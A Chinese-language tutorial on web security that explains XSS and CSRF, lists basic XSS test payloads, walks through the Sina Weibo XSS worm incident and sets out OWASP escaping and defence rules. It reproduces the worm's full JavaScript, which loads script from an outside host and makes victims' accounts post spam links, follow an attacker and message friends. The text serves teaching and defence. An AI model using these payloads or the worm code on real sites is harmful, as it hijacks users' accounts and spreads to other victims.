名词和概念
XSS -- Cross SiteScripting, 跨站脚本攻击,利用网页漏洞,注入恶意指令代码到网页,使用户加载并执行植入的脚本
Payload -- 攻击代码
CSRF -- Cross—Site Request Forgery,跨站请求伪造,盗用用户身份,发送恶意请求。
XSS原理和分类
反射型XSS
攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。
存储型XSS
代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
举例
Payload举例
<pre><script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)</pre>
不难看出,这些payload都是通过构造字符串来中断当前的dom结构,来创造js的执行环境并达到注入恶意js的目的。
攻击事件
MySpace,百度空间,人人网,搜狐博客,新浪微博都曾遭遇XSS蠕虫攻击并造成实质性危害,一般是社交类应用中,XSS攻击比较常见。事实上只要有用户输入和自定义的地方,只要不加防范,都有可能存在XSS漏洞。乌云某马甲心伤的瘦子曾经制作了一个xss攻击的经典教程,里面用到的所有案例都是腾讯各业务部门的真实漏洞。虽然乌云网目前已被和谐,不过通过百度仍然可以找到一些镜像,来作学习之用。
新浪微博XSS蠕虫
新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。事件的经过如下:
- 20:14,开始有大量带V的认证用户中招转发蠕虫
- 20:30,2kt.cn中的病毒页面无法访问
- 20:32,新浪微博中hellosamy用户无法访问
- 21:02,新浪漏洞修补完毕
影响:32961(这位hellosamy在帐号被封前的好友数量)。
sammy是第一个xss蠕虫的制作者,利用myspace的漏洞来实现控制其他账号发帖和关注自己的id。这个应该是为了向sammy致敬。
步骤
1、利用了新浪微博广场页存在的XSS漏洞,先使自己的微博“中毒”,在浏览器中加载如下地址即可:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
2、使用有道提供的短域名服务(这些网址目前已经“无害”);
例如,通过 http://163.fm/PxZHoxn ,将链接指向:
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:
- 发微博(让更多的人看到这些消息,自然也就有更多人受害);
- 加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
- 发私信,给好友发私信传播这些链接
形成
未对用户名做转义处理!!
Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'
那么当把用户名字设置为xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的时候,得到了以下代码:
<a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>
Payload
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
防御XSS
httponly -- 禁止js访问cookie
Content Security Policy -- 禁止外部js(可屏蔽运营商广告)
使用自动转义的模版
启用X-XSS-Protection头部
-
使用现代框架时避免危险的属性:
<colgroup><col><col></colgroup>
框架名 危险方法/属性 Angular (2+) bypassSecurityTrust React dangerouslySetInnerHTML Svelte {@html ...} Vue (2+) v-html
OWASP的建议
规则0 - 只允许在规则1-规则5的指定位置插入不可信内容
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>
规则1 - 插入内容到HTML结构中的时候需要先转义
<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>
<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
规则2 - 插入不可信内容到HTML的通用属性时,需要做属性值转义
对于通用属性wide, name, value等做属性转义,相对复杂的比如href, src, style不适用该规则。另外对于onmouseover这种,应当遵从规则3针对js值的定义。
具体规则:
- 除字母,数字,字符以外,对ASCII值小于256的所有字符使用js编码,即&#xHH进行转义,防止属性值被关闭。不能直接用\转义完事,因为可能会连续执行多个\使得\失效。
- 使用属性值的时候最好加上引号,加了引号以后,值的解释只会被同类引号中断,如果没有加引号的话,中断字符包括:空格 % * + , - / ; < = > ^ 和 |.
规则3 - 插入不可信的值到javascript环境下时,只能作为数据值输入并进行js转义。
以下环境需要进行js转义:
<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
而对于以下的环境,即便经过了转义也是危险的,因为很容易被分号,等号,空格,加号等符号中断。
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
规则3.1 - HTML环境下,对json数据进行html转义,读取数据时使用JSON.parse.
比如,当我们使用以下的代码时:
<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>;
</script>
最好经过json序列化和html实体编码,因为构造的数据再这个时候一般会出错。
<div id="init_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>
// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);
规则4 - 数据写入css的style属性的时候,需要做css转义和严格的验证
对于需要使用不可信数据作为css时,最好只用来作为属性的值,并且复杂的属性,比如url,behavior或者定制属性如-moz-binding等的时候,最好不要使用不安全的数据。
需要转义的情形包括:
<style>
selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>
<style>
selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>
<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
否则,可能导致如下的攻击:
{ background-url : "javascript:alert(1)"; } // and all other URLs
{ text-size: "expression(alert('XSS'))"; } // only in IE
对于属性值的转义,主要是把ASCII值小于256的非数字,字母的字符用\HH表示。另外如果属性值没有使用引号的话,则可能被空格 % * + , - / ; < = > ^ 和 |等符号中断。
</style>标签也可能被提前关闭,即使是被引号包裹,因为html在js之前解析。
规则5 - 对URL数值做URL编码
除了字母和数字以外,其他字符都用%HH进行编码;禁用data:协议,因为没有好的方式去阻止属性可能被中断。
举例:
String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255);
if (isValidURL) {
<a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}
规则6 -- Sanitize HTML Markup with a Library Designed for the Job
规则7 -- 避免使用javascript协议的url
CSRF
跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
CSRF常用防御方案
- 同源检测,如验证referer
- http请求可能不携带referer,使用https
- 隐私模式下不携带referer
- csrftoken
FAQ
- 有没有彻底防御xss/csrf的方法?
- 使用了Reactjs是否仍然需要防御XSS?
- 使用实体编码为什么不能解决问题?
- 为什么是开发者而不是浏览器来处理安全问题?
附录
XSS防御规则
<colgroup><col><col><col><col></colgroup>
数据类型 | 环境 | 代码示例 | 防御方式 |
---|---|---|---|
String | Html Body | <span>UNTRUSTED DATA </span> | HTML实体编码 |
String | Safe HTML Attributes | <input type="text" name="fname" value="UNTRUSTED DATA "> | 适用规则2,属性白名单的使用HTML实体编码,对background, id, name等进行严格验证 |
String | src或者href属性 | clickme <iframe src="UNTRUSTED URL " /> | 限制协议为http,https,进行URL编码 |
String | Css Value | html | |
Selection | 结构验证,16进制编码 | ||
String | Javascript Variable | <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> | 加引号,16进制编码 |
HTML | HTML Body |
UNTRUSTED HTML
| 序列化/反序列化 |
| String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一个话题 |
编码规则
<colgroup><col><col></colgroup>
编码类型 | 编码机制 |
---|---|
HTML Entity Encoding | Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to / |
HTML Attribute Encoding | Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value) |
URL Encoding | Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL. |
JavaScript Encoding | Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer). |
CSS Hex Encoding | CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value. |